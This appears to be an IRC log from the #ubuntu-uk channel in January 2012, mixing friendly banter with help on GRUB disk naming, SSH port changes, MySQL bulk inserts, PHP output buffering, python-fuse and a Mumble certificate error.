 * davmor2 spams czajkowski so she gets a new webcookie
 * czajkowski hugs davmor2 
<davmor2> czajkowski: pleasure I can spam you any time you want a new cookie :)
<christel> czajkowski: hehe it's not! i have no free time!
<czajkowski> how about cup cakes and butter icing
<czajkowski> I'll come and visit!
<christel> i made cupcakes on tuesday :P
<christel> and bread! but then i got too busy to do anymore baking
<davmor2> czajkowski: you mean you couldn't smell them?
<christel> on which token i am actually behind schedule and should make a start on dinner before the boys come home
<s-fox> Goodbye.
<MartijnVdS> Does anyone here play Wordfeud?
<gord> used to
 * MartijnVdS noticed almost everyone was playing it on the train today
<gord> maybe they were friends and were playing against each other?
<MartijnVdS> they had lots of friends then
<MartijnVdS> all around several tran\ins
<gord> woo found a bug in precice
<gord> the default dictionary thinks "Monday" is spelt wrong
<gord> (i don't think it is)
<MartijnVdS> ewps
<AlanBell> the silicon chip inside it's brain is switched to overload
<MartijnVdS> AlanBell: it's gonna shoot the whole day down?
<MartijnVdS> should I run away from my laptop
<AlanBell> !info python-pymssql
<lubotu3> python-pymssql (source: pymssql): Python database access for MS SQL server and Sybase. In component universe, is optional. Version 1.0.2+dfsg-1build1 (oneiric), package size 41 kB, installed size 212 kB
<AlanBell> anyone got access to a Microsoft SQL server box they can test a precise package against?
<MartijnVdS> AlanBell: if you have a windows box, you can download a free version of mssql
<MartijnVdS> with limited concurrent users I think
<MartijnVdS> or tiny dat aallowance
<AlanBell> yeah, I have tested it already, I want someone to confirm it
<AlanBell> bug 918896
<lubotu3> Launchpad bug 918896 in pymssql (Ubuntu) "returns no data from SQL server" [Undecided,New] https://launchpad.net/bugs/918896
<RhysMorgan> Hey, can anyone tell me if there is a command i can use to list grub style hd addresses i.e. hd0,0?
<AlanBell> RhysMorgan: you can tab complete things in grub
<RhysMorgan> It literally tab's when i press tab in the grub prompt
<RhysMorgan> :S
<RhysMorgan> my problem is, a hasty contractor was in a while back and retired some old servers but his idea of a p2v was a dd into a img file and now the servers won;t boot because there is no hd0,0
<RhysMorgan> This may be stupid but i'm going to throw it out there, the disk used to be /dev/hda and now it's /dev/vda do that mean root (hd0,0) become root (vd0,0) ?
<AlanBell> RhysMorgan: I just got to grub in a virtualbox VM and went to the command line
<AlanBell> really really odd, but tab completion tells me it is root (hd0,msdos1)
<AlanBell> this VM has never been anywhere near windows
<TheOpenSourcerer> RhysMorgan: hda in grub speak is hd0. hda1 would be hd0,0
<TheOpenSourcerer> And grub always (used to at least) use hd0 for any kind of disk: sda,hda etc...
<RhysMorgan> TheOpenSourcerer: I will try without the comma delimit
<AlanBell> my grub entry is   set root='(hd0,msdos1)'
<TheOpenSourcerer> you should be able to type hd<tab> to see what drives grub can see, then use tab again after the first number and comma.
<smittix> nothingspecial: Was it a Windows 7 VM you were running iTunes in?
<RhysMorgan> http://i42.tinypic.com/kcb0nt.png   :(
<Myrtti> eh
<Myrtti> I've installed my Ubuntu to have UK English everything and still libreoffice has everything in US settings?
<Myrtti> meh.
<popey> bug 918928
<lubotu3> Launchpad bug 918928 in gnome-power-manager (Ubuntu) "Display fades too quickly" [Undecided,New] https://launchpad.net/bugs/918928
<popey> anyone else find that?
<gord> can't say i've noticed it
<gord> can you not just change that?
<popey> how?
<popey> there is no dialog to change it
<popey> its just a tickbox to dim when idle
<gord> right, but that should just dim the backlight surely
<gord> i thought you meant the monitor turns off
<gord> 10 seconds or so is about what i expect for a backlight dim
<popey> thats way too short
<popey> try reading a news story on bbc.co.uk
<gord> i just increase the brightness manually if i really need it to be bright
<popey> mine is at full brightness
<popey> it dims after 10 seconds
<popey> 10 seconds is not 'idle'
<gord> the wording is actually just "dim screen to save power"
<gord> at any rate, no one will really see it there, maybe take it to gnomes bugzilla?
<gord> though last time i took anything power related there the answer was "your wasting power"
<j0nr> evening
<j0nr> hmm, I have set up SSH before, but I just can't get it to work tonight.
<j0nr> I have modified my config to connect on a different port (restarted ssh), installed noip2 to managed my ip, set up a rule in my router to forward that port to the right ip on my lan.... but when trying to connect (using my phone so I am connecting from outside my lan) it just times out....
<j0nr> what have I missed?
<j0nr> hmm, ok I think it is just a problem with noip
<j0nr> even though on the website, it is saying it is updated and shows the correct ip addy, it just times out if I try and connect with the IP it works..
<Supermanintights> hey guys
<Supermanintights> what's the syntax for copy/paste through terminal?
<popey> Supermanintights: ctrl+shift+c and ctrl+shift+v
<Supermanintights> sorry - i meant to copy files/folders through terminal
<Supermanintights> i've just plugged a usb harddrive in, and want to copy folders from there to my HDD
<Supermanintights> !copy
<mgdm> Supermanintights: cp -rv /media/DRIVE_NAME/folder /home/whereever/you/want
<mgdm> you'll need to fiddle those about a bit, your HD is probably under /media
<Supermanintights> great
<Supermanintights> my internal hdd is on a separate partition - Drive D:\ - not the partition ubuntu is installed on
<Supermanintights> how do I find out the drive name - it's only showing "My Book" in the browser
<j0nr> hmm ok, I changed "Port 22" to a different number in /etc/ssh/sshd_config
<j0nr> then sudo service ssh restart
<j0nr> also /etc/init.d/ssh restart
<j0nr> but netstat says it is still listening on 22 ?
<j0nr> actualy netstat does not show ssh
<bigcalm> mgdm: you're alive, help!
<Myrtti> j0nr: sshd then?
<bigcalm> ob_end_clean() and zlib don't like each other. The whole application needs zlib otherwise it's a silly size to refresh. But generating xlsx files means that I need zlib turned off before ob_end_clean() will work. I'm scratching my head on this one
<j0nr> Myrtti: hmm, working now.. I think there were too many instances running, killed them all and started fresh ssh and now it works :)
<mgdm> bigcalm: sod the lot of it and use mod_deflate in apache to do your gzipping
<mgdm> bigcalm: don't get PHP to do it, 'cos it's not very good at it
<bigcalm> mgdm: I would if I had that level of access to the client's server
<mgdm> Hmmm
<mgdm> not sure, then, unless you flip it atround and only enable it explicitly on the bits you want
<bigcalm> Humm
<bigcalm> There's really only one section of the site that needs it (a 60x365 js laden table). 5mb without compression
<mgdm> jings
<bigcalm> It's the most cycle intensive site we have to maintain
<mgdm> could you try to enable mod_deflate in an .htaccess?
<bigcalm> It would still need to exist on the server though, right?
<mgdm> It's quite a common thing to have
<mgdm> might be worth a blast
<bigcalm> I see. Deflate per contentType
<mgdm> Yup
<bigcalm> Works locally
<bigcalm> Fingers crossed that it works on the production server
<dogmatic69> anyone with a bit of mysql knowledge? what is the biggest query mysql will take?
<dogmatic69> im doing a multi insert and dont want to send to much
<mgdm> dogmatic69: depends on the max_packet_size of the server
<mgdm> or whatever the variable's called
<dogmatic69> ah
<dogmatic69> i think that is 2mb or something, will try find it
<mgdm> there's also a maximum sensible size to send in a multi-insert
<dogmatic69> 16mb max, should be fine
<dogmatic69> mgdm: really?
<dogmatic69> what would that be?
<mgdm> I can't remember
<mgdm> I read an article which told me that tehre's a maximum size and a most-efficient size
<mgdm> That might've been my copy of High Performance MySQL, though
<dogmatic69> im looking at doing about 6mb to 10mb insert
<AlanBell> the mysql limit is pretty huge, but the phpmyadmin upload limit would be the php.ini max upload size
<dogmatic69> +- 100k rows or so
<dogmatic69> this is in php code
<mgdm> that's not a dramatically large number of rows
<mgdm> how big are the rows?
<mgdm> lots of big columns, or...?
<AlanBell> whatever the database, you can do a mysqldump of it and then pipe that back into mysql, I am not aware of any limits with that
<mgdm> I get the impression tath wouldn't be possible in this case
<mgdm> I think he's generating the data in code
<dogmatic69> AlanBell: good thinking.. i might try write it to file and use mysql dump
<dogmatic69> that is real fast
<mgdm> No it ain't :( but for 6mb it's probably quick enough
<dogmatic69> mgdm: I have used mysql dump on csv files of 500mb+ and it took a few seconds
<AlanBell> I think the biggest I have done is 14GB
<Myrtti> ooh ooh
<Myrtti> http://phandroid.com/2012/01/19/archos-smart-home-phone-now-available-in-the-uk/
<AlanBell> which wasn't real data, it was a database with a big problem
<popey> why does my ssh client hang and then when i press a button it catches up?
<Supermanintights> guys - how long should a partition resize of 15gb take? it's been going on for about 10 minutes now
<dogmatic69> inserting 1k rows as 1k inserts took 4.4 seconds, 1k rows as 1 insert took 1.9 secods
<Supermanintights> NTFS format
<mgdm> Hmm, mysqldump does CSV files? That's news
<gordonjcp> mgdm: it's had that for a while hasn't it?
<mgdm> Quite possibly; I avoid using it as far as possible, though :-)
<mgdm> xtrabackup FTW
 * bigcalm head-desks
<bigcalm> The client's server does not have mod_deflate enabled
<bigcalm> Right, I've worked out that I only need one path to make use of zlib. Now, how do I put that into an htaccess rule?
<bigcalm> Just ? <Directory "foo">php_value zlib.output_compression 1</Directory>
<bigcalm> Damn, that's a dir
<mgdm> there's a way to enable it
<mgdm> ob_start('ob_gzhandler') or something like that
<mgdm> in fact, precisely that
<bigcalm> I just want to enable it for /bookings, I'm sure this can be done in .htaccess
<mgdm> http://php.net/manual/en/function.ob-gzhandler.php
<popey> anyone on precise fancy testing bug 918968
<lubotu3> Launchpad bug 918968 in lightdm (Ubuntu) "On Screen Keyboard doesn't work on logon screen" [Undecided,New] https://launchpad.net/bugs/918968
<bigcalm> Gah. I want to use <Location> or <LocationMatch>, but can't from .htaccess
<AlanBell> popey: it works for me, but I am using upstream onboard
<popey> now my kb has broken
<popey> i cant do a hash key
 * AlanBell gives popey a #
<bigcalm> I can't do a pound over synergy
<bigcalm> Odd. I can to the windows laptop over synergy, but not to the ubuntu server
<mgdm> I was using Synergy to control a Linux box running Linux in a Virtualbox
<mgdm> odlly enough, the keyboard layout was 'exciting' from the Mac client
<popey> oh god, the keyboard preferences dialog only supports 4 kb layouts
<mgdm> (it's a Mac with a PC keyboard synergied to a PC running a VM)
<popey> why such a giant dialog
 * popey stabs bug 630203
<lubotu3> Launchpad bug 630203 in xkeyboard-config (Ubuntu) "Macintosh keyboard layout is wrong" [Undecided,New] https://launchpad.net/bugs/630203
<dogmatic69> fyi: there is not much difference in writing the big sql query to file vs just running the insert
<dogmatic69> writing to file is about 10% faster than running the query so by the time Ive done mysql dump it will be the same / slower
<bigcalm> Is it possible to detect if there is a buffer in use before using ob_end_clean()?
<shauno> ob_get_contents() - Gets the contents of the output buffer without clearing it.
<shauno> unlessyou find a cleverer way, I'd check what that returns
<bigcalm> ob_list_handlers()?
<mgdm> bigcalm: there's an ob_level() or something
<mgdm> bigcalm: ob_get_level()
<bigcalm> $ob_active = ob_get_length () !== FALSE;
<bigcalm> That'll do me
<mgdm> Noooo
<mgdm> that's terrible
<bigcalm> -()
<mgdm> ob_get_level > 0
<bigcalm> Heh, sorry. I copy/pasted an example comment without reading that it said ob_get_length()
<mgdm> var_dump(ob_get_level()) => string(9) "INCEPTION"
<bigcalm> Hazar! I now have a working solution
<bigcalm> Might not deploy it tonight
#ubuntu-uk 2012-01-20
<popey> Morning all
<MartijnVdS> \o popey
<popey> anyone fancy confirming bug 919082 ?
<lubotu3> Launchpad bug 919082 in gnome-control-center (Ubuntu) "Keyboard layout selector only supports max of 4 layouts" [Undecided,New] https://launchpad.net/bugs/919082
<sagaci> popey: affirmative
<popey> and if it does please tick the 'This affects you' thing
<sagaci> done
<popey> thanks!
<sagaci> I checked in ubuntu 12.04 latest updates
<czajkowski> aloha
<czajkowski> why would you need more than 4 layouts?
<dwatkins> Someone might need to write in 5 different languages.
<jpds> dwatkins: Yes, I have experience with that.
<jpds> popey: Ohhh, yes.
<Seeker`> o/
<AlanBell> looks like it is a hard limit in X
<jpds> AlanBell: Lovely.
<AlanBell> http://freedesktop.org/wiki/Software/LibXklavier in the documentation section there are two pdf files that explain it
<AlanBell> I don't understand them, but that is where the four is coming from
<dwatkins> So it's all SGI's fault? ;)
<AlanBell> it is probably a wait for wayland kind of bug
<AlanBell> should be fixed in 14.04
<jpds> Oh well.
<bigcalm> Good morning peeps :)
<daubers> Morning
<daubers> Anyone else on BT Business broadband having issues this morning?#
<oimon> oh deary me. http://www.bbc.co.uk/newsbeat/16642189
<AlanBell> gosh
<bigcalm> :(
<DJones> daubers: The only person I know on BT is online without any problems
<daubers> DJones: It's an issue with BT Business broadband, specifically with people who have static IP's :(
<DJones> Right, this was a residential line
<daubers> BT have an answerphone message saying there's an issue..
<DJones> http://btbusiness.custhelp.com/app/service_status_consumer/ss_cat/2468,2470/ Website just suggests sheffield have problems
<daubers> We have that issue and we're not in sheffield :(
<daubers> http://btbusiness.custhelp.com/app/service_status/a_id/19500#ans_19500
<daubers> suggests a bigger problem
<popey> what i really want is for the keyboard layout on my mac to be correct, which it isnt â¹
<tugrik> :)
<tugrik> a few stickers combined with a new keyboard mapping will solve that popey ?
<smittix> howdy campers.
<popey> no
<popey> xkb config fixes
<bigcalm> Yikes, it's Friday!
<smittix> bug 786325
<lubotu3> Launchpad bug 786325 in compiz (Ubuntu) "Unable to change mouse cursor theme and size" [Low,Triaged] https://launchpad.net/bugs/786325
<nothingspecial> hi smittix, I missed you last night sorry (I have kids). Yes iTunes is in a Windows 7 VM
<smittix> I am on BTBB everything looks fine here in Nottingham.
<smittix> nothingspecial: Thanks for that.
<daubers> smittix: Got a static IP?
<smittix> daubers: Yes several
<daubers> Hmmm.... ours won't authenticate :(
<daubers> However, I'm a lot further south than you
<smittix> :/
<JamesTait> Merry Friday, everyone! :)
<gord> best holiday of the week
<gord> we really should make every Friday a national holiday
<daubers> Like wear clogs to work day?
<gord> thats not a real thing right? because that would be horrible
 * popey also wishes he knew why his ssh session hangs for some time, catching up when he presses a key
<oimon> virgin media?
<popey> yes
<oimon> :P
<oimon> check your ping stats
<popey> my what?
<oimon> check for dropped packets
<oimon> or CRC errors
<popey>           RX packets:6419628 errors:0 dropped:0 overruns:0 frame:0
<popey>           TX packets:7655543 errors:0 dropped:0 overruns:0 carrier:0
<matti> ;]
<gord> tubes clogged =\
<oimon> worth running a continuous ping to double check :-\
<MartijnVdS> popey: http://www.bufferbloat.net/ or a flaky router
<popey> http://paste.ubuntu.com/810534/
<MartijnVdS> Hop 2 seems to be lossy
<MartijnVdS> Hop 1 seems to have scary high ping
<popey> hop 1 is my router I guess
<oimon> looks like a traffic jam on the information superhighway
<danfish_> morning
<daubers> Morning danfish_
<bigcalm> Morning
<danfish_> I expect VM's big speedupgrade is going to cause chaos over the next 6 months :/
<popey> heh
<danfish_> daubers: o/
<bigcalm> Damn phpexcel and column widths not matching excel column widths
<bigcalm> danfish_: oh yes, I look forward to it
<bigcalm> popey: remind me to move tig to bytemark
<danfish_> went to 4yo son's assembly this morning to see him play the part of a duck. He cried
<danfish_> time to do some work :(
<daubers> Oh dear
<czajkowski> danfish_: why a duck ?
<czajkowski> hmm my keyboard seems to have gone a bit crazy during the update " is now longer where it should be as is @ a bit confused
<bigcalm> Sounds like a US layout
<czajkowski> aye
<smittix> What's this Arch Linux I hear so much about.
<smittix> heh
<bigcalm> -.-
<smittix> New version of LightDM is looking good.
<bigcalm> smittix: I think czajkowski would be dragged over to RH if anything :P
<popey> anyone on precise with a touchpad which supports multitouch?
<gord> we talking real multi-touch or the two finger drag kind?
<popey> real multitouch
<popey> 3 fingers should trigger dash
<popey> (it seems)
<gord> ah nope here
<gord> should really buy a magic whatever it is to test that stuff
<popey> the dash keeps popping up randomly, i can trigger it by holding my hand just above the touchpad
<popey> its insanely annoying
<bigcalm> Carphone Warehouse still shows the Xoom in stock but won't let you buy it
<bigcalm> *le sigh*
<gord> popey, you anywhere near millbank today?
<oimon> you prefer a xoom to the tranformer prime?
<popey> no
<bigcalm> oimon: price difference
<gord> ah shame, last day jason is there, he does our multi-touch stuff in unity
<popey> damnit, i was there yesterday
<oimon> bigcalm: how much is the xoom?
<popey> tempted to buy a thinkpad and donate my mac to an ubuntu person if they promise to fix it
<bigcalm> 249.99 from Carphone Warehouse
<gord> thinkpad <3 get the x220 ;)
<gord> everyone else has one, should work well
<popey> yeah, but thats missing the point â¹
<popey> if everyone on the planet has an x220, no other laptops will ever work
<gord> tis true, in my defence, i got my x220 before everyone else did. everyone else is a poser
<jpds> popey: No other laptops are worth it.
 * czajkowski hugs her z830
<popey> gord: is yours a tablet then?
<gord> popey, nope, tablet version wasn't out when i got mine
<czajkowski> hmm no davmor2 :/
<bigcalm> czajkowski: need somebody to poke/hug?
<czajkowski> I've not poked him or stabbed him or threatened to kill him once this year
<czajkowski> and January is almost up! :)
<bigcalm> Hence the hug option
<bigcalm> Heh
 * czajkowski hugs bigcalm 
<bigcalm> Awww
 * bigcalm hugs czajkowski carefully
<bigcalm> Always better than a poke
<czajkowski> indeed
<gord> davmor2 normally shows up around 11
<gord> he's crazy
<bigcalm> Attending a wedding this afternoon. Such a shame that it's pouring with rain :(
<brobostigon> good morning everyone.
<occupy64k> good morning
<brobostigon> morning occupy64k
<bigcalm> Hullo
<occupy64k> Today I will be mostly hacking on the command line
<czajkowski> bigcalm: not used to friday weddings, mate has chosen a friday at the end of august, as she wants a BBQ on the saturday for close mates to stay around. and catch up.
 * Neoti_Laptop just found codeigniter ..... playing........
<bigcalm> czajkowski: the husband to be has stomach cancer and the chemo hasn't worked. So they are getting married while he is still in fairly good health. Which meant organising a wedding in 10 days :( Feel really honoured to be invited to the wedding. We are their cat sitters :)
<czajkowski> bigcalm: aww poor family
<bigcalm> Neoti_Laptop: try cakephp instead :)
<czajkowski> gonna be a lovely day but I suspect pretty emotional
<Neoti_Laptop> i luv cake.
<Neoti_Laptop> lol
<Neoti_Laptop> will google it now
<bigcalm> cakephp.org
<bigcalm> CI makes you work far too hard for a MVC framework
<czajkowski> mmm cake  usually about now Myrtti and christel pop up at the mention of cake
<christel> cake.
<christel> ;)
<bigcalm> Haha
<Myrtti> cheesecake
<czajkowski> morning :)
<Myrtti> you can even make it lowcarb high protein
<Myrtti> probably
<czajkowski> and christel does have the flour!
<Myrtti> haven't looked for recipies
<christel> i do indeed have flour :P
<bigcalm> Beef Caje!
<bigcalm> Cake!
<bigcalm> I baked them a cake for xmas. Went down quite well apparently
<popey> http://superuser.com/questions/262244/how-to-make-libreoffice-calc-to-not-to-hide-unfit-content-of-a-cell-when-the-fol
<popey> any idea how to do what he is asking?
<popey> I hate libreoffice
<Myrtti> well atleast he's using Calc
<Myrtti> he is excused for using it
<popey> oooo, delete contents does it
<Myrtti> there's no excuses for using Libreoffice for documents instead of latex
<popey> there is
<popey> i am exchanging documents with other people
<Myrtti> so am I
<oimon> what if the excuse is "i don't know latex well enough"
<occupy64k> I've never used latex
<bigcalm> Neither have I
 * popey ignores the troll
<oimon> or "latex produces documents that are too beautiful"
 * popey leaves an answer like a good boy
 * Myrtti gives popey a cookie
<gord> wish i had cookies
 * czajkowski gives gord some Millie cookies 
<czajkowski> yummy stuff!
<bigcalm> I feel really good for not buying any cookies yesterday. London, Birmingham New Street and Telford Centre (shopping centre) all teased me with their Millie Cookies stands
<oimon> popey: did you have anything in the cell on the right of the text?
<oimon> the spill over only happens then the cell to the right of it is empty
<oimon> lovely videos if you have 10 mins to spare: http://www.youtube.com/watch?feature=player_embedded&v=ahXIMUkSXX0 http://www.youtube.com/watch?feature=player_embedded&v=lOIP_Z_-0Hs
<davmor2> Morning all
<davmor2> czajkowski: proddity proddity proddity prod, Happy Friday
 * czajkowski hugs davmor2 
<czajkowski> see we're back to normal davmor2 is back
<davmor2> czajkowski: No I was still nice I added Happy Friday to the end :)
<czajkowski> indeed
<DJones> This seems a promising read for Linux engineers http://www.channelregister.co.uk/2012/01/20/linux_foundation_survey_big_data/
<smittix> daubers: Having problems here now.
<dwatkins> I'm on BT at home, it seems to work ok in Edinburgh.
<bigcalm> I want to hit PHPExcel with something
<bigcalm> A clue bat would be good
<dwatkins> sounds like a fun plugin, bigcalm ...
<gord> heh "phpexcel" - there is not a single letter in there that i want a part of
<oimon> lol
<bigcalm> dwatkins: it's a useful library, if you have to deal with excel poop for clients
<dwatkins> bigcalm: ah I see, I feel your pain
<bigcalm> But right now I'm having silly problems with the PHP itself
 * dwatkins heads home to let BT in to hopefully fix his internet connection that drops out 5 times a day
<dwatkins> c ya
<bigcalm> Toodles
<bigcalm> PHP! HELP! http://paste.ubuntu.com/810643/
<bigcalm> :)
 * MartijnVdS gives bigcalm a can of eye bleach
<matti> Huh.
<davmor2> bigcalm: try on a PHP channel :P
<bigcalm> davmor2: there are PHP devs in here :P
<matti> PHP is so '70.
<christel> bigcalm: i just hump mgdm's leg whenever i need php
<bigcalm> Tricky as it's a language of the '90s
<davmor2> bigcalm: yeap but they won't mock you as much as an entire channel of them would :D
<bigcalm> christel: would you mind humping his leg for me? ;)
<christel> not at all
<bigcalm> davmor2: I'm used to it :P
 * christel gets the lu...oh
 * christel tickles mgdm 
<Myrtti> looks like I need to add ubuntu-uk.tex on my IRCQuotes book
<bigcalm> Not to worry. The example code was duff. I've found how to do it propperly
<matti> bigcalm: Strip everything and only keep lines 2 to 12.
<davmor2> bigcalm: man you got to love google :D
<matti> bigcalm: Oh, you found it.
<bigcalm> Replaced:
<bigcalm> $objReader = new PHPExcel_Reader_Excel2007();
<bigcalm> $objPHPExcel = $objReader->load($fileName);
<bigcalm> With:
<popey> Perl?
<bigcalm> $objPHPExcel = PHPExcel_IOFactory::load($fileName);
<bigcalm> Haha
<popey> ;)
<AlanBell> popey: http://mterry.name/log/2012/01/20/cant-log-into-precise-heres-help/
<popey> AlanBell: thanks, have set dupe
<mgdm> o___O
<mgdm> https://wiki.mozilla.org/Eudora_OSE
<bigcalm> Eudora?!
<bigcalm> I actually _bought_ that
<gord> woo more japanese candy through my letter box, best service ever
<daubers> wooo
<daubers> internets is back
<mgdm> That was an excellent sandwich
<mgdm> the only issue is, that it's not finished
<mgdm> s/not/now/
<christel> aww
<bigcalm> Is it possible to crop a spreadsheet to a specified range?
<bigcalm> Sod it, sub way
<smittix> Subway solves everything
<smittix> especially hunger
<ikonia> http://www.ebay.co.uk/itm/Aluminium-Linux-Ubuntu-Case-Badge-Sticker-/280803272311?pt=UK_Computing_Software_Software_SR&hash=item41612de677
<ikonia> just incase any of you UK guys wanted to do a bit of pride on your laptops
<AlanBell> would if it was the new branding
<popey> we should get some made
<smittix> I need some stickers for my lappy
<davmor2> popey: let me know when you do :)
<danfish_> I've got an ubuntu template at home for use with a spray can - spray the circle of friends on you laptop lid. Anyone want to borrow?
<daubers_> Does anyone know if there's a FUSE irc channel?
<Myrtti> I should take a photo of my laptop lid
<daubers_> or can anyone tell me how I can catch what functions something wants me to impliment in python-fuse (instead of just getting a -34 error)
<Myrtti> I wish someone would fix flickrfs
<gord> why not you? ;) scratching itches is what most fixes come from
<Myrtti> gord: because it's been so long from my coding days I can't do even a helloworld in any of the languages I've ever used apart from LaTeX without sneaking a look from some cheatsheet
<Myrtti> not at this moment anyway
<Myrtti> oh and bash of course
<Myrtti> that and latex
<gord> sounds like a good time to learn ;)
<Myrtti> I know
<Myrtti> :-|
<kazade> afternoon all
<daubers_> Hello kazade
<kazade> hey daubers_, how's the book going?
<daubers_> kazade: A bit slowly, but getting there :) Did all the exercises to the end of chapter 2
<kazade> cool, I need to dig out the latest code for you
<daubers_> spent ages understanding the windowing stuff that used X
<kazade> my VPS died and it was hosted there
<daubers_> :(
<kazade> yeah, annoyingly I couldn't cover Linux in detail in the text :(
<kazade> as the original was Windows focused
<daubers_> Yeah, I kinda understand what's going one now (more or less) just need to carry on working through to get to the bits where I'm a bit wonky
<popey> hey kazade
<popey> long time no see
<kazade> daubers_: ok, I'll try and port some of the apps to SDL 1.3 which will make life easier for you :)
<kazade> hey popey
<kazade> yeah, I keep forgetting about IRC :p
<kazade> how's things?
<popey> heh
<popey> not bad âº
<kazade> how's the new job going?
<kazade> well, newish
<popey> sweet!
<kazade> cool :)
 * Laney bimbles
<gord> apt-get update is such a tease.... 20s left... 10s left... 2. 1.. nope! anther 90s left!
<oimon> brought to you by the author of the windows file copy dialogue box.
<Myrtti> new thriller, this January - will he keep the file transfer speed up to 200K/s? What happens if the speed goes below 50K? Presenting Gord Allott in his breakthrough role - premiere on Friday 20th!
<gord> spelt my second name right :D no one does that
<Myrtti> that's because I know you're not Alot
<Myrtti> even though I like you alot
<gord> picturing an elmo alot now
<davmor2> gord: that's just wrong
<awilkins> Elmo likes code! Elmo wants Coffee!
<awilkins> Elmo has web developer friend! ......    "COOKIE!!!!"
<zleap> has anyone here used kidsruby
<daubers> Can someone explain to me what the magic trick that's being explained here is and how I can impliment it? http://sourceforge.net/apps/mediawiki/fuse/index.php?title=FUSE_Python_Reference#File_Class_Methods
<daubers> </very confused>
<kazade> daubers: You're a Python guy yeah?
<daubers> kazade: I ive in a couple of languages, but python mostly :)
<kazade> what's your editor of choice?
<kazade> :)
 * AlanBell contemplates an interesting fuse driver
<daubers> kazade: pydev :)
<daubers> kazade: But largley because I have machines that can handle eclipse well
<kazade> Yeah mine too... well until Eclipse's memory usage drove me crazy
<kazade> I'm hacking plugins for GEdit to make it more Pydev-like (but without the bloat)
<davmor2> kazade: geany, gedit, nano, vim, and emacs are the most totted ones with idle for beginners
<kazade> https://github.com/lukebpotato/geditpycompletion
<davmor2> kazade: try geany it's basically gedit geared to devs
<kazade> also: https://github.com/potatolondon/GPyflakes
<kazade> davmor2: Yeah I've used Geany
<Myrtti> geany â¥
<kazade> they're all good :)
<Myrtti> geany is loverly for latex as well
<kazade> I like how easy it is to write GEdit plugins though (granted, I haven't checked what geany's plugin API is like :) )
<gord> geany is nice :) i use vim myself, but if you want a moused based editor, its really good at just being nice and not getting in the way
<kazade> Well, if anyone needs a Python code completion plugin for GEdit, there's one there ^^ :)
 * zleap is upgrading to 11.10
<kazade> I must check out geany again..
<kazade> I'm not entirely sure why I stopped using geany actually..
<oimon> non gtk3 compatible?
<kazade> what, geany?
<oimon> yeah
<oimon> it's more of a question than a statement :P
<AlanBell> does geany have no menu, or not work with the global menu?
<kazade> I think I must've just stopped using it when I realized that GEdit could be more than just a Notepad equiv :)
<kazade> hmm it's a shame Geany's plugin API is in C and not Python - I thought there would have been an easy port there :p
<AlanBell> daubers: what will your fuse thing do?
<oimon> a spooky floating error message: http://i.imgur.com/YdsAV.jpg
<daubers> AlanBell: hide some files between UIDs
<daubers> and redirect some writes to those files
<daubers> making programs taht aren't designed for shared storage work with shared storage :)
<oimon> has anyone tried linuxdeepin?
<oimon> http://www.linuxdeepin.com/
<daubers> Can't get this magic trick to work :( Don't really understand what it's doing
<AlanBell> daubers: I am failing at the first hurdle, "fusermount mountpoint script.py" doesn't work
<AlanBell> fusermount: extra arguments after the mountpoint
<popey> anyone tried mumble on windows?
<popey> I keep getting an odd error that everyone else gets, but nobody knows how to fix
<popey> ""A referral was returned from the server.""
<Daviey> popey: i suspect version mismatch.
<Daviey> popey: grab a different binary
<Daviey> OR.. just use G+
<daubers> AlanBell: heh, fun. I've got the script mounting itself
<oimon> Due to an expiring certificate no Mumble 1.2.2 or newer released before today (15.01.2012) will work on the Windows Platform after 15 January 2012 11:36:47 GMT. If such an outdated Mumble is launched after that date the error message âA referral was returned by the serverâ will be displayed by Windows and Mumble will not start.
<popey> i cant use G+ when the people i need to speak to are on mumble
<oimon> popey: ^^
<oimon> http://blog.mumble.info/important-update-to-mumble-1-2-3a/
<popey> i am on 1.2.3a
 * popey reinstalls
<oimon> the blog also has a fixed mumble exe for the 1.2.3 stable so try that otherwis
<popey> gone to 1.2.4 which starts now
<popey> thanks
<oimon> np
<AlanBell> /usr/share/doc/python-fuse/examples/hello.py seems to work
<davmor2> czajkowski: prod!
<davmor2> popey: why would you want to use mumble on Windows out of curiosity?
<gord> i use mumble on windows, to talk to people, because skype is a pain
<davmor2> gord: fair enough I just wondered if there was a big mumble following, obviously there is some :)
<AlanBell> is this a canonical internal murmer server?
<gord> davmor2, for video games mind
<gord> people use mumble or some other one
<AlanBell> I have a customer interested in using mumble
<davmor2> gord: ah okay
<gord> mumble can integrate into games and display stuff on top of the games
<popey> i use mumble on windows because mumble on linux sucks donkey balls
<popey> anyone trying to convince me otherwise can go to /dev/null
 * czajkowski hugs davmor2 
 * davmor2 sends himself to /dev/null
<gord> mumble works fine for me :P
<gord> after i set it to explicitly use certain devices, i haven't had any problems
<davmor2> popey: only issue I get is sometime on initial startup it doesn't do audio, restart and all is fine
<davmor2> popey: maybe you abuse it incorrectly ;)
 * popey can't hear davmor2 talking from inside /dev/null
<AlanBell> daubers: this python fuse stuff doesn't cover up the c very well does it!
<davmor2> popey: You'll like it here it's full of software you love to hate
<daubers> AlanBell: :)
<gordonjcp> AlanBell: ah, fuse
<daubers> still can't get the magic to work :(
<gordonjcp> AlanBell: I started looking at implementing a filesystem in fuse
<gordonjcp> AlanBell: after some dramatic use of dd, strings and a bit of C to extract the binary bits, I just wrote a script to pick the disk images apart
<ali1234> struct.unpack
<ali1234> use it
 * awilkins rolls back to about 1600-ish in the log
<awilkins> kazade, gord, I quite like Komodo for the very little Python I do ; it has member indexing and autocomplete and also a vim emulation.
<gord> komodo is good for python, but i've not seen it since before it went free
<kazade> is Komodo free now?
 * kazade adds it to the list
<awilkins> kazade, They do a free and a premium
<kazade> cool
<awilkins> kazade, Komodo Edit for free, Komodo IDE for bucks
<kazade> Ahh k..
<kazade> Eclipse PyDev has always been cool once it's configured with Pylint, but it's just so resource hungry :(
<gord> the main reason that komodo is good for python is that everything else is so bad with python though
<awilkins> If I suddenly became a pro Python developer, I'd probably pay for the IDE version and try it out for a month or so
<awilkins> But I've not hacked any Python since I got Bazaar working well enough in Windows
<davmor2> gord: geany ftw :D
<awilkins> (only a few things, like IIS and SSH support in win32 environments)
<awilkins> What I've really been craving is a good Debian packaging plugin for Eclipse
<awilkins> It can't be that hard... have a "source" object and "package output" objects and fill in the forms for them...
<gord> davmor2, vim ftw :P
<awilkins> Run lintian over it at the end and present the problems in the Eclipse problems list
<davmor2> gord: if you're going down that path nano ftw!
<gord> davmor2, don't be ridiculous :P
<gord> nano is that horrible editor that makes my documents be peppered with :w all over the place
<awilkins> Is it just me or is there little impetus to make Debian packaging easier because it's perceived as a badge of honour to have wrangled your way though the pain?
<awilkins> Or is it that if the bar was lowered, undesirables and bad packaging would be the result?
